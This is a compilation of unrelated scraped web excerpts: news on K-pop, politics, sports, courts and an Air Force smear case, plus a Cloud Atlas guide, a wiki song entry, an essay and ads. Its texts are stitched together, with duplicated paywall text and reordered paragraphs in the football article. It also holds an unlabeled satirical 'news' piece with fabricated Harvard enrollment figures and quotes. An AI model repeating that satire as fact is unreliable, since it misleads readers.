-My favorite (and best) cooking inspiration has always been making things for the people I love. Especially birthdays. Birthdays are my favorite thing in the world, and nothing brings me more happiness than making the perfect treat to show my love.  In fact, to date my favorite recipe I’ve ever made was for Steve’s birthday last year. I have to tell you, though–these give them a run for their money!  When I saw this post on Brown Eyed Baker a couple of months ago, I immediately sent it to Nicole–the idea is genius, the photos are absolutely gorgeous, and I wanted to jump through my screen and lick every crumb.  So when I was deciding what to make Nicole for her birthday this year, I knew exactly where I wanted to start. Of course, I changed a few things to make these a little less indulgent, but they still tasted rich and decadent. The brownie layer is the fudgiest brownie I have ever tasted, and the peanut butter tastes like the inside of a Reese’s cup, and then that perfectly glossy glaze? I diiiieeee.  The good thing about cooking for your BBF (best blog friend–I know, we’re totally, like tweens) is they don’t mind that you cut into their birthday dessert to photograph it, and maybe sneak a tiny bite so that you can make sure it’s perfect before you give it to them. 😉 Thanks for taking one for the team blog, Nicole!
-Did you know that Basick� almost became a member of BTS  The 31-year-old rapper talked about his relations to Big Hit Entertainment and its founder�Bang Si Hyuk�during an interview on March 31.�  Basick�said, "Bang Si Hyuk offered me to join a new hip-hop idol group. It was around the time they were preparing to debut BTS."  However, Basick revealed that he rejected the offer. He explained, "I never wanted to become an idol. �At the time, I was taking time off of school and I was also thinking about marrying my girlfriend so it was hard for me to accept the contract."  Basick isn't the only one who was given the offer by Bang Si Hyuk. Basick�shared, "Later on, I heard that Beenzino�was also given an offer. If Beenzino did it then I probably would have too."  When asked what it would've been like if he did join BTS, Basick answered, "I believe BTS went through a lot of preparation and member changes. I think the current members are ideal."
-CLOUD ATLAS Photo: Jay Maidment/Warner Bros.  If you’ve watched Cloud Atlas and you’re still a bit confused, it’s easy to see why. Each of the six intertwined stories takes place in a different era and assumes the tropes of completely different genres. Actors play multiple roles across the film, switching ages, races, and even genders from tale to tale. Tracking those actors is somewhat key to understanding the connective plot, in which various souls are reincarnated or migrate over time — crossing the ages like clouds cross the skies. (In the book, you could track the reincarnation by the bodies that shared a comet-shaped birthmark; in the film, the birthmark just signals our protagonists, and the actor triggers the reincarnation.) See Hugo Weaving? Then you’ve got the bad soul who will only get worse over time. See Tom Hanks? Then you’ve got the recovering soul who starts off bad but will become (mostly) good over the course of his journey. Here is a guide to the karmic chameleons of Cloud Atlas. (Note: to avoid confusion we will mostly refer to the characters by the names of the actors who play them.)  OUR SETTINGS  A ship crossing the Pacific in 1849; the home of an elderly composer in 1936 Edinburgh; San Francisco and a nearby nuclear power plant in 1973; London and an Edinburgh nursing home in 2012; Neo-Soul, the capital of a half-ruined Korea in 2144; a valley and a mountain on a post-apocalyptic Hawaii in 2321.  TOM HANKS  Who he plays: A doctor poisoning Jim Sturgess in 1849 in order to rob him; a hotel manager in 1936 who extorts Ben Whishaw’s composer; a physicist working at a shady nuclear power plant in 1973 who agrees to help investigative journalist Halle Berry; a roughneck author in 2012 who throws a critic off a balcony; an actor playing Timothy Cavendish (Jim Broadbent’s character) in a movie watched in 2144; a cowardly (and birthmarked!) goatherd in 2321 who helps Halle Berry’s Meronym, a representative of the last vestiges of advanced civilization who reside on an off-world colony — the film’s bookmark scenes of an elderly Tom Hanks take place on a different planet.  His soul journey: He goes from a shady murderer who says, “The weak are meat; the strong do eat,” to someone who learns courage and selflessness.  Onscreen connections to other characters/story lines: His movie inspires a clone in 2144 to set off a revolution; that clone, Sonmi-451 becomes a goddess to his post-apocalyptic tribe; the turquoise buttons he steals from Adam Ewing’s vest in 1849 are around his neck in 2321, Hanks’s character having found them in the forest; Hanks’s goatherd has a nightmare in which he sees all the other timelines.  JIM STURGESS  Who he plays: Young and gullible (and birthmarked) lawyer Adam Ewing, on a journey from the South Pacific to notarize a contract between plantation owner Hugh Grant and Ewing’s father-in-law, Hugo Weaving. Ewing helps an escaped-slave stowaway (David Gyasi) and ultimately condemns slavery; a hotel guest in 1936; a father in 1973; a soccer fan in 2012 who gets in a pub fight to help some senior citizens; a Korean freedom fighter in 2144 who saves clone/slave Doona Bae and starts a revolution; a doomed tribe member in 2321, whose brother-in-law Tom Hanks is too scared to save him from cannibal Hugh Grant.  His soul journey: He starts off reluctantly helping one slave to becoming an abolitionist and ultimately becomes a revolutionary dedicated to ending all slavery.  Onscreen connections to other characters/story lines: He keeps a journal that Ben Whishaw’s 1936 composer becomes engrossed by.  BEN WHISHAW  Who he plays: A cabin boy in 1849; bisexual (and birthmarked!) composer Robert Frobisher in 1936, who apprentices himself to Jim Broadbent while sleeping with Broadbent’s wife, Halle Berry, and writes the beautiful Cloud Atlas Sextet; a record-store clerk in 1973 who can’t get the Cloud Atlas Sextet out of his head and helps Halle Berry find it; the wife of Hugh Grant in 2012 and sister-in-law to Jim Broadbent; a tribesman in 2321.  His soul journey: He doesn’t seem to learn much over time, remains morally ambiguous, and will sleep with anyone, no matter whom it hurts.  Onscreen connections to other characters/story lines: He writes letters to his true love, Rufus Sixsmith (James D’Arcy), in 1936, which Halle Berry reads in 1973; strains of his Cloud Atlas Sextet recur throughout several timelines.  HALLE BERRY  Who she plays: A slave from an aboriginal tribe in 1849; the white Jewish trophy wife of Jim Broadbent in 1936; the gutsy (and birthmarked!) journalist Luisa Rey who follows in the footsteps of her famous reporter father (David Gyasi); a hip Indian chick at a party in 2012 who intrigues Tom Hanks; a male Korean doctor in 2144 who helps free a clone; an advanced being in a primitive post-apocalyptic world in 2321.  Her soul journey: She goes from being someone with no power to humanity’s last hope, and she evolves into a higher being as she follows her impulse to help other people.  Onscreen connections to other characters/story lines: Her 1973 story becomes a manuscript that Jim Broadbent reads in 2012; she wears the same necklace in 1936, 1973, and 2012; her 1973 line “For the last half hour, all I could think about was throwing you off your balcony” literally comes true with Tom Hanks’s 2012 character.  JIM BROADBENT  Who he plays: An arrogant ship’s captain in 1849; a composer in 1936 who takes on apprentice Ben Whishaw and attempts to claim the younger man’s work as his own; the morally ambiguous (and birthmarked!) vanity press publisher Timothy Cavendish, who benefits from the death of a critic at the hands of his author, Tom Hanks; a Korean street musician in 2144 and an advanced being known as a Prescient in 2321.  His soul journey: He starts off by being pompous and self-serving but learns humility over time.  Onscreen connections to other characters/story lines: His grand mansion in 1936 is his nursing home in 2012; the film of his “ghastly ordeal” in 2012 is watched by a clone slave in 2144; his 1936 character has a dream of the Papa Song café in which Sonmi-451 works.  DOONA BAE  Who she plays: The white wife of Jim Sturgess and daughter of Hugo Weaving in 1849; the wife of Jim Sturgess and mother of James D’Arcy’s niece in 1973; a Hispanic woman working at a factory in 1973; Sonmi-451, a (birthmarked!) clone or “fabricant,” who is genetically engineered to be a worker drone but starts to think for herself and sparks a revolution when she’s aided by freedom fighter Jim Sturgess.  Her soul journey: She goes from being a powerless figure to a goddess revered by a simple tribe, the only link they have to their pre-apocalyptic past.  Onscreen connections to other characters/story lines: Her recorded statements become the tribal wisdom of a tribe in 2321.  HUGH GRANT  Who he plays: A reverend and a plantation owner in 1849; a hotel clerk trying to collect from Ben Whishaw; the owner of a nuclear power plant in 1973 who wants it to fail and kill millions; the cuckolded brother of Jim Broadbent who tricks him into committing himself to a nursing home; a Korean restaurant manager in 2144 who sleeps with his clone workers; the leader of a band of cannibal warriors in 2321.  His soul journey: Despite a charming exterior at first, he never really cares about anyone, and this only gets worse over time; he devolves into a pure savage.  HUGO WEAVING  Who he plays: The father of Doona Bae and father-in-law of Jim Sturgess in 1849, who is involved in the slave trade; a Nazi in 1936 who is a friend of composer Jim Broadbent; an assassin in 1973; a female nursing home orderly in 2012 who torments elderly Jim Broadbent; a Unanimity authority figure in 2144; a Devil-like figment of Tom Hanks’s imagination in 2321.  His soul journey: He’s a figure of evil, control, and enslavement who never displays any loyalty or learns anything over time, and eventually devolves until he’s just an idea.  Onscreen connections to other characters/story lines: His line as Nurse Noakes, “Because you’re new, I will not make you eat soap,” mirrors the food that fabricants eat in Neo Seoul; his line, “There’s a natural order to this world,” which he utters as a futuristic functionary, is repeated at film’s end by his slave-owning businessman.  KEITH DAVID  Who he plays: Like Halle Berry, a slave in 1849 working for Hugh Grant; the security chief at Hugh Grant’s nuclear power plant in 1973, who goes rogue to protect Halle Berry; the leader of a resistance movement in 2144; a Prescient working alongside Halle Berry in 2321.  His soul journey: He goes from being a slave to a leader, someone who throws off the shackles of evil employers/bad governments.  Onscreen connections to other characters/story lines: He appears to be a kindred spirit with Halle Berry.  JAMES D’ARCY  Who he plays: Ben Whishaw’s lover in 1936 and recipient of his letters; an older version of his previous character Rufus Sixsmith, who gives Halle Berry damning evidence that his nuclear power plant is unsafe; an orderly at Jim Broadbent’s nursing home in 2012; and finally, a patient Archivist in 2144 who interrogates clone Doona Bae.  His soul journey: A little muddled. He goes from being a passive listener to someone who takes a stand against a big wrong back to a passive listener of a tale of injustice.  Onscreen connections to other characters/story lines: The letters he receives from Ben Whishaw in 1936 are read by Halle Berry in 1973; Hugo Weaving’s assassin shoots him in the mouth, which mirrors the suicide-by-gun death of his lover, Frobisher.
-Carly Fiorina, who is running for political office whether she knows it or not, does not want to answer your stupid liberal elitist so-called gotcha “political questions” even if you work for Fox (video below).  WALLACE: But forgive me, Miss Fiorina, where are you going to cut entitlements? What benefits are you going to cut? What eligibility are you doing..  FIORINA: Chris, I have to say, with all due respect, you’re asking a typical political question.[…]  WALLACE: It may be a typical political question but that’s where the money is. The money is in Medicare and Social Security. We have baby-boomers coming. There will be a huge explosion of entitlement explosion and you call it a political question when I ask you to name one single entitlement you are willing to cut.  FIORINA: Chris, I believe to deal with entitlement reform, which we must deal with, we ought to put every possible solution on the table, except we should be very clear we are not going to cut benefits to those nearing retirement or those nearing retirement or those in retirement.[…]  WALLACE: I’m going to try one last time, and if you don’t want to answer it, Miss Fiorina, you don’t have to.  FIORINA: It’s not a question of not wanting to answer it!
-click to enlarge Photo via abcnews.go.com  In retaliation of Apple's refusal to hand over encrypted information following the San Bernardino shooting , Representative David Jolly (R-Fla.) has introduced a bill that would restrict taxpayer funding to the massive tech corporation.No Taxpayer Support for Apple Act (H.R. 4663) was brought to Congress on March 2, according to a press release from Jolly's camp.The bill aims to forbid federal agencies from purchasing Apple products until the company cooperates with the FBI. If this new legislature passes, Apple would have to provide technical support when approached with a warrant for encrypted information that may be relevant to terrorist acts."[Apple's] failure to comply [with a judge’s order] means that there is additional information out there that has already contributed to other incidents or will in the future contribute to other incidents of terrorism or national security, I think Apple leadership risks having blood on their hands," Jolly said during a congressional hearing with FBI Director James Comey.Govtrack.us, one of the most visited websites for government transparency, predicts that the No Taxpayer Support for Apple Act has a 1 percent chance of being enacted.
-For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:  We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.  *Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.  *Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.  *Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.  *Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.  For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:  We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.  For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:  We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.  “See that guy up there in the stands?” Nill told them. “He is going to come in and take someone’s job, so you better start picking it up.”  Upset with what he was getting from his players, now huddled around him as the rain poured down, Nill saw it as the perfect time to send a message — and he had the perfect man to do it with.  Nill, a native of Hanna, Alta., had accepted the job with the Thunderbirds just three months before, taking over following a successful run with the University of Calgary Dinos and before that with the Saint Mary’s Huskies, winning two Vanier Cups in seven trips to the CIS title game.  It was spring 2015, just days into his first camp with the University of British Columbia football team when head coach Blake Nill, feeling frustrated and annoyed with how his defence was practising, called an impromptu meeting on the field.  Hey there, time traveller! This article was published 8/9/2016 (900 days ago), so information in it may no longer be current.  Hey there, time traveller!  This article was published 8/9/2016 (900 days ago), so information in it may no longer be current.  It was spring 2015, just days into his first camp with the University of British Columbia football team when head coach Blake Nill, feeling frustrated and annoyed with how his defence was practising, called an impromptu meeting on the field.  Nill, a native of Hanna, Alta., had accepted the job with the Thunderbirds just three months before, taking over following a successful run with the University of Calgary Dinos and before that with the Saint Mary’s Huskies, winning two Vanier Cups in seven trips to the CIS title game.  Upset with what he was getting from his players, now huddled around him as the rain poured down, Nill saw it as the perfect time to send a message — and he had the perfect man to do it with.  "See that guy up there in the stands?" Nill told them. "He is going to come in and take someone’s job, so you better start picking it up."  In the stands was Taylor Loffler, a 6-4, 220-pound beast of a man who, in his only season with UBC, would become the driving force on defence.  "The plan worked just the way it was supposed to — it was a win-win," Nill, who with the help of Loffler led the Thunderbirds, a team that had gone 2-6 the previous year, to their fourth Vanier Cup in school history and first in 18 years, said in a telephone interview Thursday.  The plan: if Loffler, who had two tears to the ACL in his right knee and labral surgery on both his hips and therefore was limited to just one full season in four years at Boise State University of the NCAA, could help bring some stability to UBC’s football program then Nill, who over his decades of coaching in the CIS had built close relationships with CFL scouts, would help him get noticed.  "That was the biggest thing talking to him, knowing he’d had a lot of success and that he had a lot of connections," said Loffler, who first learned the game while living in Australia, where he played Aussie rules football. "That was my biggest goal going there, just to be able to move on and make it to the CFL, and I knew he would probably be the best man for that."  Months later, Loffler would get his wish, selected in the third round — 19th overall — by the Winnipeg Blue Bombers in the 2016 CFL Draft.  Now with the Blue and Gold, Loffler finds himself in the same position, only this time taking over the starting job at safety that once belonged to Macho Harris. Harris, who had played well before pulling up lame in Week 5, returned to practice this week and has been taking second-team reps with the defence behind Loffler.  BORIS MINKEVICH / WINNIPEG FREE PRESS Winnipeg Blue Bombers defensive back Taylor Loffler practises at Investors Group Field Thursday.  "He’s been getting better each week with his coverage, with reading offences while working with the other defensive backs," said Bombers defensive backs coach Tony Missick, speaking about Loffler. "He doesn’t take any practices off, he basically takes every rep at the free safety position and never complains. He’s still surprising us coaches as to what he can actually do."  In nine games with the Blue and Gold — five at safety — Loffler has 24 defensive tackles, two interceptions and a quarterback sack, while also chipping in with four tackles on special teams. In those games he’s shown a keen football IQ, flashed his deceptive speed, earned respect with his hard hits, all while building a trust within the team’s secondary.  Though he remains a work in progress — "we’re not ready to let him loose just yet," said Missick — Loffler has quickly emerged into one of the most compelling stories for the Bombers this year and maybe even in the CFL; a quick trajectory that has put him in the discussion for CFL rookie of the year.  Of all his upside, it’s his ability to throw the big hit that has Bombers fans eager to see how his story plays out.  "The biggest thing is it sets a precedent," said Loffler, who was born in Regina but grew up on a ranch in Montana before moving to Kelowna, B.C., where he played high school football. "You want to be physical out there, especially at safety. You want guys looking at you as you’re coming across the middle."  In his first start at safety in a Week 6 win over the Edmonton Eskimos, Loffler brought fans to their feet when he went toe-to-toe with former Bombers receiver Adarius Bowman, separating him from the ball with a crushing hit that left Bowman briefly dazed on the turf. Two weeks ago against the Montreal Alouettes, Loffler threw every inch of himself at receiver Nik Lewis, knocking the 5-10, 240-pounder off his feet.  "It’s like the nail and the hammer theory," he said. "If you’re the nail, that’s when injuries happen."  Want to get a head start on your day? Get the day’s breaking stories, weather forecast, and more sent straight to your inbox every morning.  For Darian Thompson, a former teammate of Loffler’s at Boise State and now a safety with the NFL’s New York Giants, it comes as no surprise to see Loffler doing so well. Thompson saw it first-hand as a teammate, both his ability to deliver punishing hits and his drive when it comes to overcoming injuries.  "One thing about Taylor, whether he’s practising or playing, is the sideline has to be aware because if somebody is running down that sideline he’s going to fly in full-speed like a missile," said Thompson. "He has an extreme love for the game of football, and a couple of serious injuries left him standing around watching sometimes for a full year before he was able to get back onto the field. You could tell when he got back out there he had been waiting for the opportunity and he tries to make the most of it."  That’s exactly what Loffler is doing, trying his best to enjoy the moment and not take things for granted.  "You just got to keep working every week. You can never get satisfied with how you’re playing," he said. "It’s been a great experience so far. I love the city, love the fans, love my teammates, and love my coaches — I couldn’t be happier."  jeff.hamilton@freepress.mb.ca  Twitter: @jeffkhamilton
-385 Shares  KANSAS CITY, MO – In a recent Census of US Medical Students report, published in JAMA last week, researchers wanted to see which medical school students were attending.  Researches used the very popular forum website: Student Doctor Network, where many prospective medical students and active medical students go to discuss and seek advice. Often the users will post their MCAT score and which school they will be attending.  From the data, over 2500 new students will be attending Harvard Medical School this year. This comes as a surprise to Harvard Medical School Dean Dr. Ronald Foster. “I didn’t see this coming at all. We typically only accept 165 medical students every year, I will have to make some calls and get an addition built in time for next year!”  How the Harvard Dean of Admissions was unaware of the large number of new students will have to be investigated further, but Dr. Foster was pretty confident in the data. “One: this was printed in JAMA, and two: this is the Student Doctor Network! Nobody would lie on there, they’re future doctors,” he said. “Looks like there was an admin error and we let in a lot of new students this year. Those other medical schools are going to be so jealous!”  Dr. Foster was correct in stating that about a third of all medical students, according to the data on the Student Doctor Network, will be enrolled in Harvard Medical School this year. Many other medical schools are in panic at the thought of not filling their classes up.  Dr. Noonan, a dean at University of Washington, told reporters that besides being a top-tier medical school they would have to offer more incentives to medical students to get them to come out to Washington. “We’ll probably start offering a free box of steaks or something; Harvard can’t hog all these medical students. We want some too!”  Dr. Noonan was recently caught posting fraudulent numbers on SDN. He was inflating the number of steaks that he will be giving away to future students from 12 when the actual amount of Omaha Steaks is 6. SDN admin MedStudent17$ put his account on probation. “Here on SDN we hold the highest standards, no one is allowed to lie or inflate their numbers, he will be barred from posting for 3 months.”  In a follow-up survey the new average board score has risen from 201 to 247, according to scores released on the forum.
-"I'm Shipping Up to Boston" is a song with lyrics written by the folk singer Woody Guthrie, music written by A. Barr, K. Casey, M. Kelly, J. Lynch and M. Orrell and performed by the Celtic punk band Dropkick Murphys. It appeared on their certified gold selling 2005 album, The Warrior's Code. An earlier recording of it can be found on the Hellcat Records compilation Give 'Em the Boot: Vol. 4. The song gained world-wide attention along with boosting the band's popularity for its use in the 2006 Academy Award-winning Best Picture, The Departed and the soundtrack for the film.  The lyrics from the song were taken from a fragment of paper that Ken Casey found whilst looking through Woody Guthrie's archives.[1] The Dropkick Murphys put music to the lyrics as they also did with the song "Gonna Be A Blackout Tonight" from the 2003 album Blackout.  The single is the band's most successful to date and was certified double platinum. It reached #1 on the Bubbling Under Hot 100 chart and sold over 1,044,000 digital copies without ever entering the Hot 100 chart.[2]  The video features the Dropkick Murphys performing the song on the waterfront in East Boston. The band is also seen "hanging out" with hooligans while being chased by Boston police officers. The song's simple lyrics describe a sailor who had lost a prosthetic leg climbing the topsail, and is shipping up to Boston to "find my wooden leg."  Charts [ edit ]  Chart (2007) Peak  position US Bubbling Under Hot 100 (Billboard) 1  Chart (2012) Peak  position Ireland (IRMA) 54  In entertainment [ edit ]  Political appearances [ edit ]  2012 [ edit ]  A small Facebook meme grew up after Wisconsin State Representative and Speaker of the Wisconsin State Assembly Jeff Fitzgerald reportedly used the song during the 2012 Wisconsin Republican Convention in Green Bay. This usage prompted the band to release the following statement on Facebook:[8]  We just got word that Wisconsin State Rep and Speaker of the State Assembly Jeff Fitzgerald used "Shipping Up to Boston" as his walk-on song yesterday at the Wisconsin GOP Convention in Green Bay. The stupidity and irony of this is laughable. A Wisconsin Republican U.S. Senate candidate – and crony of anti-Union Governor Scott Walker – using a Dropkick Murphys song as an intro is like a white supremacist coming out to gangsta rap! Fitzgerald: if you and your staff can't even figure out your music you might wanna give up on the politics!!!!! We stand beside our Union and Labor brothers and sisters and their families in Wisconsin and all over the U.S!  2015 [ edit ]  In 2015, Wisconsin Governor Scott Walker used the song during political events.[9] In response, the official Dropkick Murphys Twitter account posted a tweet declaring that the band "literally hate[d]" Governor Walker and asking him to "stop using [their] music in any way".[10]
-A University of Connecticut student was taken into police custody after a profanity laced tirade and shoving match with a dining hall manager who refused to the apparently drunk student's demand to serve him bacon-jalapeno mac 'n' cheese.  Update: Oct. 9:  *Editor's note: This story has been updated to include a new version of the video of the incident. This version does not include the profane language. The original video posted on You Tube has been removed because of copyright issues, according to a note on that original You Tube link.  Original story: Oct. 6:  In a You Tube video (Warning: extreme profane language) that was posted on the social media website on Monday, Oct. 5, the student dressed in sweats and white socks and black sandals, can be seen berating the unidentified food service manager in an F-word laden tirade. The nine-minute video, which has had more than 51,000 views as of Tuesday morning, shows at least three of the manager's co-workers coming to his aid.  The manager can be heard telling the student, identified in reports as Luke Gatti, 19, of Bayville on Long Island, NY, that he wouldn't be served because he was drunk. "You can't come in here with an open bottle of booze. Think about it," the manager said. It is unclear exactly when the incident occurred. The manager accused the student of being under the influence and of underage drinking.  The student dared the manager to call police … who are seen arriving about eight minutes into the video. It was unclear whether Gatti, who was handcuffed and hauled out of the dining hall, is facing any charges.  As the officer handcuffed him, Gatti can be heard proclaiming, "I am absolutely F---ed."  According to a report by Heavy.com, this wasn't the first time Gatti has had run-ins on campus. The Heavy.com story can be found here.
-Across cultures, fools, clowns, and court jesters are powerful critics of any existing order. But what happens when they take power? Thanks to Donald Trump, this is a reality we now face – and one that anthropology can help us to navigate.  The president of the US makes a strange sort of jester, not least given how unfunny he often is. Recall the 2016 Alfred E. Smith Memorial Foundation Dinner, an American election tradition during which the two major party candidates engage in good-natured mockery. Trump’s inability to self-deprecate and lack of self-awareness made his performance practically unwatchable, as did his failure to draw a line between slander and satire.  So it’s easy to write Trump off as a failed, inept clown rather than a deft lampooner of his enemies. But his lack of self-awareness is largely irrelevant, and to simply proclaim him an idiot gets it wrong. His particular brand of foolery is in fact proving highly effective – and destructive.  On the surface, a court jester’s job is to conspicuously cross boundaries and use humour and mockery to ridicule and violate the norms their onlookers live by. The effect is ultimately conservative: the fool’s ludicrous failures contrast with the seriousness of his powerful audience, confirming they’re strong enough to withstand mockery and thereby cementing their status.  An example of how this works is the Hopi Tribe of Arizona’s summer-solstice ritual, niman, in which a central plaza is occupied by “kachina” deities, then invaded and taken over by yelling clowns. The clowns proceed to eat gluttonously, drink urine and perform burlesque acts. Warned by a lone deity that they must act moderately or perish, the clowns instead mistreat him and boast of their power. The kachina deities then return with whips and weapons, and retake the plaza to restore order and complete the ritual.  Similar processes play out at carnivals and mardi gras, where rules of behaviour and power structures are temporarily upended, only to come back into force more strongly. It’s also what happens at Washington’s storied White House Correspondents’ Dinner, an annual event where the most powerful leader in the world “officially” acts the clown, delivering a joke-laden monologue and enduring caustic jibes thrown their way. (Having famously been humiliated by Obama at the 2011 dinner, Trump declined to take part this year.)  But if the whole point of temporarily suspending normality to let fools run the show is to strengthen authority, not weaken it, the Trump administration is something very different.  When a political joker like Trump actually takes control, they duly subvert the norms of their political roles with their ludicrous behaviour – but instead of strengthening those norms, they weaken them, ultimately lowering the expectations to which all leaders are subject.  Trump’s presidency will hardly feel like a temporary suspension of normality if it lasts for its full term, and not if he is able to achieve even a few of his policy goals. This will not be a comic interlude at the end of which things cleanly return to normal; it will have real and enduring implications for millions of people’s lives.  Beyond that, the participants in this particular ritual drama do not agree on what status quo their fool should actually target. Is it the supposedly po-faced “liberal establishment” and those they defend, or the moneyed hegemony of Wall Street and those it favours? Sometimes Trump seems to think the answer is both, making him an interesting phenomenon: anyone’s fool.  The carnival is over  Broadly speaking, critics of Trump can respond to his foolery in one of two ways. They can attack the kind of fool Trump is – one who targets minorities, women, and immigrants – or they can attack the idea that foolishness is a viable substitute for governance. The idea that building a giant wall across the Mexican border is a policy, not a joke. The idea that peddling conspiracies about Obama’s birth certificate is an acceptable way to enter political life. The idea that ranting on Twitter at 3am is presidential.  While they may seem cruel and desperately unfunny, some of Trump’s pronouncements and blunders are perfect examples of what anthropologists call “hegemonic humour”: the use of humour to root out and emphasise difference. Making Mexico pay for a wall is politically (and probably financially) impossible, but many of Trump’s supporters seem willing to let it slide, suggesting his dogged commitment to it was more a farcical gesture to his audience than a statement of policy.  What obsessing over making Mexico pay really did was mark Trump out as a person who “gets it”, as opposed to a member of the “elite” – a cabal of people stupid enough to take a joke at face value.  A joker in charge is very difficult to challenge. Allow him to rile you up, and he wins; laugh with him, and you reinforce his nihilistic agenda. If the president’s opponents want his presidency to reinforce the US’s norms and institutions rather than destroy them, they can only respond one way: concentrate on achievable, serious goals, and refuse to get distracted by the absurd, surreal personality show with which their president is mocking them.  This means putting faith in politicians who treat their office and their role with dignity and respect, and not in just any fool who happens to come along. It is very citizen’s job to ignore fools and instead to deal in details.
-We all use battery powered devices every day. But it is so annoying when the batteries run out in the TV remote, clock or any of the 1001 other electronic devices we have around the house. And, of course, when the batteries do go dead it is a pretty safe bet that you wont be able to find a spare. So why not order your batteries from Ebuyer.com? We have all the popular sizes and all available in multiple quantities at low prices.  Return to top  When you choose new batteries you have the option of standard or rechargeable.  Ebuyer carry the main sizes such as AA and AAA batteries from manufacturers such as Duracell, Energizer as well as our great value own brand. You will also find C, D and button cell varieties as well.  But, if you would prefer rechargeable options, NiMH (nickel metal hydride) cells are suitable for use in most electronics. They hold their charges well and can be recharged up to 1,000 times, making them an economic and environmentally friendly option. And we also have battery chargers so you can top up the power whenever you need to.
-[JURIST] The U.S. Court of Appeals for the Fifth Circuit [official website] ruled [opinion, PDF] Tuesday that probable-cause warrants are not required to access cell phone location information. In a 2-1 decision, the Fifth Circuit reversed lower court decisions that said the location data was protected by the Fourth Amendment [Cornell LII backgrounder]. The court stated that warrantless access is “not per se unconstitutional” because mobile location data is “clearly a business record” and therefore unprotected by the Fourth Amendment. Authorities were requesting cellphone data under the Stored Communications Act [Cornell LII backgrounder], part of the Electronics Communications Privacy Act, which the court stated gives authorities the option of obtaining a court order, but does not require the higher standard necessary for a search warrant. The Fifth Circuit is the third federal appeals court to allow authorities to track mobile devices without a warrant.  Courts and lawmakers remain divided on what types of warrants are required to perform cell phone searches. Last week the New Jersey Supreme Court ruled [JURIST report] that police must obtain search warrants before obtaining tracking information from cell phone providers, marking the first time a state supreme court has recognized a Fourth Amendment protection for cell phone location data. Earlier this month the Maine Legislature [official website] voted in favor [JURIST report] of a new law requiring police to obtain a warrant to track a cell phone. In May the Florida Supreme Court [official website] ruled [opinion, PDF] that police need a warrant [JURIST report] to search a defendant’s cell phone at the time of arrest. In 2012 the US Court of Appeals for the Seventh Circuit [official website] ruled [opinion, PDF] that a warrantless search [JURIST report] of a suspect’s cell phone to collect its phone number does not constitute a violation of Fourth Amendment protections against unreasonable search and seizure.
-Air Force security forces are investigating the online distribution of explicit pornographic images allegedly depicting a female non-commissioned officer engaged in sex acts.  But the pictures are fake, the Air Force said. The NCO is the apparent target of an online smear campaign to paint her as a porn actress by distributing pornographic images and falsely claiming them to be of her.  Air Education and Training Command officials emphatically said in interviews that the allegations are false, and the NCO and her husband are not being investigated. AETC officials said they have no idea why the NCO was targeted.  "This story is very concerning," AETC spokesman Col. Sean McKenna said. "It's another example of someone taking it on themselves to shame someone online."  Security forces has focused on a former airman who allegedly posted a pornographic photograph on the Air Force Recruiting Service's Facebook page on Jan. 26, said Lt. Col. Toni Whaley, spokeswoman for Air Education and Training Command. The Air Force did not disclose the identity of the suspect.  The face of the woman in the picture was blurred, Whaley said, but the suspect allegedly claimed in the post that it was of the NCO and that she was regularly starring in online pornography.  AETC started looking into the allegations, Whaley said, and investigators quickly learned that the NCO did not have tattoos that matched the woman in the pornographic image and concluded it was not her. Security forces immediately shifted their focus and began investigating the former airman who allegedly posted the picture for making false accusations.  The NCO has appeared in official recruiting videos produced by the Air Force. The phony pornographic image was posted in a Facebook comment thread below a recruiting video of the NCO talking about her career field, Whaley said.  × Fear of missing out? Fear no longer. Be the first to hear about breaking news, as it happens. You'll get alerts delivered directly to your inbox each time something noteworthy happens in the Military community. Thanks for signing up. By giving us your email, you are opting in to our Newsletter: Sign up for the Air Force Times Daily News Roundup  Two official Air Force videos featuring the NCO have now been hidden or taken down from several sites due to harassing comments alleging her pornographic involvement.  "This story is very concerning," AETC spokesman Col. Sean McKenna said. "It's another example of someone taking it on themselves to shame someone online."  Air Force Times is not naming the NCO to protect her privacy. Through AETC, she declined to comment. Whaley said the NCO has spoken to other airmen assigned to her unit "to squash any rumors floating around."  McKenna said it is possible that the investigation could broaden beyond the one former airman who posted the picture on the Recruiting Service Facebook page.  "Who knows where the investigation will lead us," McKenna said. "I've never seen one like this."  It is unclear whether or how civilian law enforcement may need to be involved if Air Force investigators conclude a law has been broken.  McKenna said this story is an example of how damaging online harassment and cyberbullying can be, and said airmen should think twice about engaging in such behavior online.  "If you do this, you will be investigated," McKenna said. "It will not go unnoticed. Something will come to bear."
